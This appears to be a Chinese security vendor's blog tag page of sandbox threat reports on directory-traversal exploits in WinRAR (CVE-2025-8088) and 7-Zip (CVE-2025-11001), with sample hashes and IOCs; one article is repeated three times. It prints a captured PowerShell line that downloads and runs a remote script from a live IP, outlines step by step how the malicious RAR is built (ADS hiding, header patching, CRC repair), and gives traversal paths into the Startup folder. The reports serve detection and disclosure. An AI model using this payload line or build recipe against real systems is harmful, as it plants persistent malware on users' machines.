标签 目录穿越 下的文章

一、简介

近期，WinRAR 曝出存在目录穿越漏洞（CVE-2025-8088），攻击者可构造恶意压缩包实现目录穿越，将任意文件写入到系统盘的任意位置。攻击者利用此漏洞可将恶意载荷（Payload）释放到 Windows 系统的“启动”文件夹下，当用户下次登录系统时，恶意代码将被自动执行，攻击者可获得主机的持久化控制权。该漏洞影响所有版本号 < 7.13 的 WinRAR，建议各位读者立即升级至 WinRAR 7.13 或更高版本。

自漏洞曝出，天穹团队积极扫描线上样本，检测到存在利用 CVE-2025-8088 的压缩包恶意样本，沙箱已于第一时间对该攻击样本进行分析，并确认天穹沙箱可以有效检测利用此漏洞的恶意行为，保护用户免受其害。

二、样本信息

  • 样本名:【内部资料】研发部门员工薪资单.rar
  • SHA1：67F6B3530D0D017040873246B4A592F09470FFCC
  • 文件类型：RAR Archive Data (v5)
  • 诱饵文件：【内部资料】研发部门员工薪资单.txt
  • 关联载荷：start.bat

三、样本分析

行为分析

该压缩包内部包含一个名为【内部资料】研发部门员工薪资单.txt的诱饵文件和一个名为 start.bat 的 Payload 文件，使用包含 CVE-2025-8088 漏洞的 WinRAR 解压该样本时将执行以下操作：

  • 在当前目录释放诱饵文件【内部资料】研发部门员工薪资单.txt；
  • 在用户自启动目录释放 start.bat 文件，其内容为远程执行 PS1 文件。

当受害者重启电脑后，释放在自启动目录的 bat 文件会被执行触发恶意行为。

沙箱分析

将该样本投递至天穹沙箱，从压缩包检测部分可以看到，沙箱准确识别出漏洞信息、诱饵文件和恶意载荷路径，如图1所示。

图1 压缩包检测

通过动态分析可以看到，沙箱检测到样本将 start.bat 写入 c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ 目录，且进程的执行者为 winrar.exe，如图2所示。

图2 创建开启自启动脚本

单独分析 BAT 脚本，解密后其主体内容如下：

1IEX (New-Object System.Net.WebClient).DownloadString(‘http://47.82.111.137:666/reflection.ps1’)

由动态分析进程树部分可见，沙箱捕获到样本执行 Powershell 命令，如图3所示。

图3 执行Powershell命令

样本尝试下载并执行该 ps1 文件，如图4所示。

图4 远程下载ps1脚本并执行

由于该下载地址已死亡，无法进一步分析后续行为。

漏洞利用攻击链分析

该漏洞的核心利用方式是将 RAR5 文件头篡改与 NTFS 备用数据流（ADS）相结合。

  1. 载荷隐藏：攻击者首先将恶意载荷（如 1.bat ）附加到一个无害的诱饵文件（如 decoy.txt ）的 NTFS 备用数据流（ADS）中，这使得载荷在文件管理器中不可见，增加了隐蔽性。
  2. 构造基础包：攻击者使用官方的 WinRAR 命令行工具，将被附加了 ADS 的诱饵文件正常打包。这一步骤中 RAR 文件会记录下 ADS 的流名称，需要注意的是，WinRAR 在打包时禁止写入 ../ 这类可能造成目录穿越的路径，所以此处会先用占位符填充，如 X，但需要保证路径长度和修改后的路径长度一致，这样便于后续填充，如图5所示。
图5 原始RAR文件
  1. 路径篡改：这是最关键的一步。攻击者以二进制方式打开上一步骤生成的 RAR 文件，在文件头（File Header）中搜索记录 ADS 流名称的位置，并将其替换为精心构造的路径遍历字符串，例如：..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.bat。
  2. 校验和修复：直接修改文件头会破坏文件 CRC32 校验和，导致 WinRAR 报错。为了使恶意压缩包能够被正常解压，攻击者会重新计算被篡改过的文件头的 CRC32 值写回文件，如图6所示。
图6 修改后的RAR文件

文件分析

通过分析发现，该样本使用了 \..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 进行目录穿越，当用户在 Downloads、Documents、Desktop 和其他类似目录解压时，可顺利将 bat 脚本释放到用户自启动目录，如图7所示。此攻击方式的优点是无需知晓用户名，且用户下载压缩包时通常保存的目录就在 Downloads 目录。

图7 目录穿越路径

四、IOC

恶意文件（SHA256）

15123d998f3f2c1c6bead26f9ea102b5e46710cf1b0699f9b455a80af8e383155

恶意链接

1http[:]//47.82.111.137[:]666/reflection.ps1

报告链接

漏洞利用分析报告：天穹沙箱分析报告

压缩包文件分析报告：天穹沙箱分析报告

技术报告, ,

一、概述

在 Windows 系统中，压缩包（如 RAR、ZIP、7z 等）作为常见的文件分发载体，因其便捷性和通用性被广泛使用。然而，攻击者常利用压缩软件的目录穿越漏洞（如 CVE-2025-8088），通过构造恶意压缩包将恶意载荷写入系统关键路径（如启动项、系统目录等），实现持久化驻留或提权执行。此类攻击隐蔽性强、危害大，且传统静态检测难以有效识别。

为应对这一威胁，天穹沙箱正式上线压缩包目录穿越动态检测能力。该能力通过监控压缩软件在沙箱环境中的实际解压行为，实时捕获文件写入路径，精准识别包含 ..\、绝对路径、UNC 路径等高危操作，有效还原攻击者的真实意图。

二、目录穿越攻击常见手法

当前主流压缩包目录穿越攻击主要包括以下几类：

  1. 路径遍历（Path Traversal）压缩包内构造包含 ..\..\..\ 的文件路径，诱导解压程序将文件写入非预期目录。例如：1
    ..\..\..\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\demo.exe
  2. 绝对路径写入部分压缩格式（如 RAR）支持在压缩时嵌入绝对路径。攻击者可直接指定目标写入路径，绕过用户预期目录限制。
  3. UNC 路径利用通过构造类似 \\?\C:\Windows\Temp\demo.exe 的 UNC 路径，绕过常规路径校验逻辑，实现任意位置写入。

三、样本分析

样本上传

上传样本到天穹沙箱，即可快速准确地检测未知样本恶意行径，操作步骤如下：

  1. 登录天穹沙箱；
  2. 选择分析环境及配置项，如图 1 所示，选择 Windows x64 作为分析系统，配置自动解压开关为 OFF，点击确认选择；
  1. 登录天穹沙箱；
  2. 选择分析环境及配置项，如图 1 所示，选择 Windows x64 作为分析系统，配置自动解压开关为 OFF，点击确认选择；
图1 分析配置

上传样本，点击上传区域选择样本上传或将样本拖至上传区域即可上传样本，如图 2 所示，等待沙箱分析结束。

图2 上传样本

检测能力

样本一：7z目录穿越利用（CVE-2025-11001）

报告链接：天穹沙箱分析报告

漏洞原理：CVE-2025-11001 漏洞源于 7-Zip 在处理 ZIP 压缩包中的符号链接（Symbolic Links）时存在安全缺陷。具体来说，当 7-Zip 解压包含符号链接的 ZIP 文件时，未能正确验证符号链接指向的目标路径，导致攻击者可以构造恶意的 ZIP 压缩包，其中包含指向系统关键目录（如系统目录、程序目录等）的符号链接。

经天穹沙箱分析，在 7z 解压过程中捕获到以下行为，如图 3 所示:

  • 7z 工具向自启动目录写入文件 c:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc.exe；
  • 该路径明显超出沙箱指定的解压目录 C:\Users\luchao\AppData\Roaming\；
  • 沙箱触发“目录穿越”高危告警。
图3 目录穿越检测

借助天穹智能分析平台了解 CVE-2025-11001 漏洞的详细信息，如图 4 所示，智能体总结了漏洞成因、攻击条件、影响版本、PoC代码等信息，并以脑图形式直观展示分析结果之间的关联和层级结构。

图4 天穹智能体解读

样本二：winrar 目录穿越利用（CVE-2025-8088）

报告链接：天穹沙箱分析报告

漏洞原理：WinRAR 在解析压缩文件时存在路径校验逻辑缺陷，未对压缩包内嵌的 NTFS 备用数据流（ADS）及路径跳转符号（如 ..\）进行严格过滤。攻击者可利用此缺陷构造恶意压缩包，通过 ADS 特性隐藏恶意文件，并结合路径遍历技术突破解压目录限制，最终将文件写入系统敏感路径（如启动目录）。

基于天穹沙箱的动态分析链还原漏洞利用攻击路径，如图 5 所示：

  1. 触发解压：用户双击恶意压缩包，系统调用 WinRAR.exe 启动解压流程；
  2. 路径篡改：WinRAR 在解析压缩包时，未正确校验文件路径的合法性。攻击者通过 ADS 流嵌入的路径跳转指令（如 ..\Startup\payload.exe），将目标解压路径动态指向系统启动目录（C:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup）；
  3. 越权写入：WinRAR 绕过用户指定的解压目录（如 C:\Downloads），直接将恶意文件写入启动目录，完成持久化驻留。
图5 目录穿越检测

四、IOC

恶意文件（SHA256）

1
2		ad9d91db166e91139b41ae1beae99da78ce0d231b32c43daf50eb0270508d5e9
2a8fafa01f6d3863c87f20905736ebab28d6a5753ab708760c0b6cf3970828c3

报告链接

样本一分析报告：天穹沙箱分析报告

样本二分析报告：天穹沙箱分析报告

技术报告, , ,

一、概述

在 Windows 系统中，压缩包（如 RAR、ZIP、7z 等）作为常见的文件分发载体，因其便捷性和通用性被广泛使用。然而，攻击者常利用压缩软件的目录穿越漏洞（如 CVE-2025-8088），通过构造恶意压缩包将恶意载荷写入系统关键路径（如启动项、系统目录等），实现持久化驻留或提权执行。此类攻击隐蔽性强、危害大，且传统静态检测难以有效识别。

为应对这一威胁，天穹沙箱正式上线压缩包目录穿越动态检测能力。该能力通过监控压缩软件在沙箱环境中的实际解压行为，实时捕获文件写入路径，精准识别包含 ..\、绝对路径、UNC 路径等高危操作，有效还原攻击者的真实意图。

二、目录穿越攻击常见手法

当前主流压缩包目录穿越攻击主要包括以下几类：

  1. 路径遍历（Path Traversal）压缩包内构造包含 ..\..\..\ 的文件路径，诱导解压程序将文件写入非预期目录。例如：1
    ..\..\..\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\demo.exe
  2. 绝对路径写入部分压缩格式（如 RAR）支持在压缩时嵌入绝对路径。攻击者可直接指定目标写入路径，绕过用户预期目录限制。
  3. UNC 路径利用通过构造类似 \\?\C:\Windows\Temp\demo.exe 的 UNC 路径，绕过常规路径校验逻辑，实现任意位置写入。

三、样本分析

样本上传

上传样本到天穹沙箱，即可快速准确地检测未知样本恶意行径，操作步骤如下：

  1. 登录天穹沙箱；
  2. 选择分析环境及配置项，如图 1 所示，选择 Windows x64 作为分析系统，配置自动解压开关为 OFF，点击确认选择；
  1. 登录天穹沙箱；
  2. 选择分析环境及配置项，如图 1 所示，选择 Windows x64 作为分析系统，配置自动解压开关为 OFF，点击确认选择；
图1 分析配置

上传样本，点击上传区域选择样本上传或将样本拖至上传区域即可上传样本，如图 2 所示，等待沙箱分析结束。

图2 上传样本

检测能力

样本一：7z目录穿越利用（CVE-2025-11001）

报告链接：天穹沙箱分析报告

漏洞原理：CVE-2025-11001 漏洞源于 7-Zip 在处理 ZIP 压缩包中的符号链接（Symbolic Links）时存在安全缺陷。具体来说，当 7-Zip 解压包含符号链接的 ZIP 文件时，未能正确验证符号链接指向的目标路径，导致攻击者可以构造恶意的 ZIP 压缩包，其中包含指向系统关键目录（如系统目录、程序目录等）的符号链接。

经天穹沙箱分析，在 7z 解压过程中捕获到以下行为，如图 3 所示:

  • 7z 工具向自启动目录写入文件 c:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc.exe；
  • 该路径明显超出沙箱指定的解压目录 C:\Users\luchao\AppData\Roaming\；
  • 沙箱触发“目录穿越”高危告警。
图3 目录穿越检测

借助天穹智能分析平台了解 CVE-2025-11001 漏洞的详细信息，如图 4 所示，智能体总结了漏洞成因、攻击条件、影响版本、PoC代码等信息，并以脑图形式直观展示分析结果之间的关联和层级结构。

图4 天穹智能体解读

样本二：winrar 目录穿越利用（CVE-2025-8088）

报告链接：天穹沙箱分析报告

漏洞原理：WinRAR 在解析压缩文件时存在路径校验逻辑缺陷，未对压缩包内嵌的 NTFS 备用数据流（ADS）及路径跳转符号（如 ..\）进行严格过滤。攻击者可利用此缺陷构造恶意压缩包，通过 ADS 特性隐藏恶意文件，并结合路径遍历技术突破解压目录限制，最终将文件写入系统敏感路径（如启动目录）。

基于天穹沙箱的动态分析链还原漏洞利用攻击路径，如图 5 所示：

  1. 触发解压：用户双击恶意压缩包，系统调用 WinRAR.exe 启动解压流程；
  2. 路径篡改：WinRAR 在解析压缩包时，未正确校验文件路径的合法性。攻击者通过 ADS 流嵌入的路径跳转指令（如 ..\Startup\payload.exe），将目标解压路径动态指向系统启动目录（C:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup）；
  3. 越权写入：WinRAR 绕过用户指定的解压目录（如 C:\Downloads），直接将恶意文件写入启动目录，完成持久化驻留。
图5 目录穿越检测

四、IOC

恶意文件（SHA256）

1
2		ad9d91db166e91139b41ae1beae99da78ce0d231b32c43daf50eb0270508d5e9
2a8fafa01f6d3863c87f20905736ebab28d6a5753ab708760c0b6cf3970828c3

报告链接

样本一分析报告：天穹沙箱分析报告

样本二分析报告：天穹沙箱分析报告

技术报告, , ,

一、概述

在 Windows 系统中，压缩包（如 RAR、ZIP、7z 等）作为常见的文件分发载体，因其便捷性和通用性被广泛使用。然而，攻击者常利用压缩软件的目录穿越漏洞（如 CVE-2025-8088），通过构造恶意压缩包将恶意载荷写入系统关键路径（如启动项、系统目录等），实现持久化驻留或提权执行。此类攻击隐蔽性强、危害大，且传统静态检测难以有效识别。

为应对这一威胁，天穹沙箱正式上线压缩包目录穿越动态检测能力。该能力通过监控压缩软件在沙箱环境中的实际解压行为，实时捕获文件写入路径，精准识别包含 ..\、绝对路径、UNC 路径等高危操作，有效还原攻击者的真实意图。

二、目录穿越攻击常见手法

当前主流压缩包目录穿越攻击主要包括以下几类：

  1. 路径遍历（Path Traversal）压缩包内构造包含 ..\..\..\ 的文件路径，诱导解压程序将文件写入非预期目录。例如：1
    ..\..\..\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\demo.exe
  2. 绝对路径写入部分压缩格式（如 RAR）支持在压缩时嵌入绝对路径。攻击者可直接指定目标写入路径，绕过用户预期目录限制。
  3. UNC 路径利用通过构造类似 \\?\C:\Windows\Temp\demo.exe 的 UNC 路径，绕过常规路径校验逻辑，实现任意位置写入。

三、样本分析

样本上传

上传样本到天穹沙箱，即可快速准确地检测未知样本恶意行径，操作步骤如下：

  1. 登录天穹沙箱；
  2. 选择分析环境及配置项，如图 1 所示，选择 Windows x64 作为分析系统，配置自动解压开关为 OFF，点击确认选择；
  1. 登录天穹沙箱；
  2. 选择分析环境及配置项，如图 1 所示，选择 Windows x64 作为分析系统，配置自动解压开关为 OFF，点击确认选择；
图1 分析配置

上传样本，点击上传区域选择样本上传或将样本拖至上传区域即可上传样本，如图 2 所示，等待沙箱分析结束。

图2 上传样本

检测能力

样本一：7z目录穿越利用（CVE-2025-11001）

报告链接：天穹沙箱分析报告

漏洞原理：CVE-2025-11001 漏洞源于 7-Zip 在处理 ZIP 压缩包中的符号链接（Symbolic Links）时存在安全缺陷。具体来说，当 7-Zip 解压包含符号链接的 ZIP 文件时，未能正确验证符号链接指向的目标路径，导致攻击者可以构造恶意的 ZIP 压缩包，其中包含指向系统关键目录（如系统目录、程序目录等）的符号链接。

经天穹沙箱分析，在 7z 解压过程中捕获到以下行为，如图 3 所示:

  • 7z 工具向自启动目录写入文件 c:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc.exe；
  • 该路径明显超出沙箱指定的解压目录 C:\Users\luchao\AppData\Roaming\；
  • 沙箱触发“目录穿越”高危告警。
图3 目录穿越检测

借助天穹智能分析平台了解 CVE-2025-11001 漏洞的详细信息，如图 4 所示，智能体总结了漏洞成因、攻击条件、影响版本、PoC代码等信息，并以脑图形式直观展示分析结果之间的关联和层级结构。

图4 天穹智能体解读

样本二：winrar 目录穿越利用（CVE-2025-8088）

报告链接：天穹沙箱分析报告

漏洞原理：WinRAR 在解析压缩文件时存在路径校验逻辑缺陷，未对压缩包内嵌的 NTFS 备用数据流（ADS）及路径跳转符号（如 ..\）进行严格过滤。攻击者可利用此缺陷构造恶意压缩包，通过 ADS 特性隐藏恶意文件，并结合路径遍历技术突破解压目录限制，最终将文件写入系统敏感路径（如启动目录）。

基于天穹沙箱的动态分析链还原漏洞利用攻击路径，如图 5 所示：

  1. 触发解压：用户双击恶意压缩包，系统调用 WinRAR.exe 启动解压流程；
  2. 路径篡改：WinRAR 在解析压缩包时，未正确校验文件路径的合法性。攻击者通过 ADS 流嵌入的路径跳转指令（如 ..\Startup\payload.exe），将目标解压路径动态指向系统启动目录（C:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup）；
  3. 越权写入：WinRAR 绕过用户指定的解压目录（如 C:\Downloads），直接将恶意文件写入启动目录，完成持久化驻留。
图5 目录穿越检测

四、IOC

恶意文件（SHA256）

1
2		ad9d91db166e91139b41ae1beae99da78ce0d231b32c43daf50eb0270508d5e9
2a8fafa01f6d3863c87f20905736ebab28d6a5753ab708760c0b6cf3970828c3

报告链接

样本一分析报告：天穹沙箱分析报告

样本二分析报告：天穹沙箱分析报告

技术报告, , ,